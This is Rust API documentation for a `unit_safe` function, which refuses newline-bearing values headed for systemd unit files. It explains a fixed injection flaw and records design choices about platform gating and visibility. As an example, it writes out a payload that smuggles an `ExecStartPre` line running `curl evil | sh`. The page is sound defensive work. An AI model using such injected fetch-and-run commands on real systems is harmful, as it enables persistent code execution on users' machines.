pub fn unit_safe(label: &str, value: &Path) -> Result<String>Expand description
Reject a value that cannot be safely interpolated into a systemd unit file.
A unit file is line-oriented Key=Value, so a newline in an interpolated
value starts a new directive. home derives from LEVIATH_HOME, so a
value like /tmp\nExecStartPre=/bin/sh -c 'curl evil | sh' injected an
arbitrary command that then ran at every login. The macOS plist path is
XML-escaped and was never exposed to this; the systemd path had no escaping
at all.
Refusing is right rather than escaping: systemd has no general quoting for this position, and no legitimate path contains a newline.
Not #[cfg(target_os = "linux")] even though only the Linux path calls it:
it is pure string logic, and gating it would mean the check could only be
exercised on one platform’s CI runner. A security control should be testable
wherever the tests run.
pub (in an already-public module) rather than private-plus-allow(dead_code):
on a non-Linux build nothing calls it, and suppressing the warning would be
hiding the fact rather than stating it. It is genuinely part of this module’s
surface - the systemd renderer’s input contract.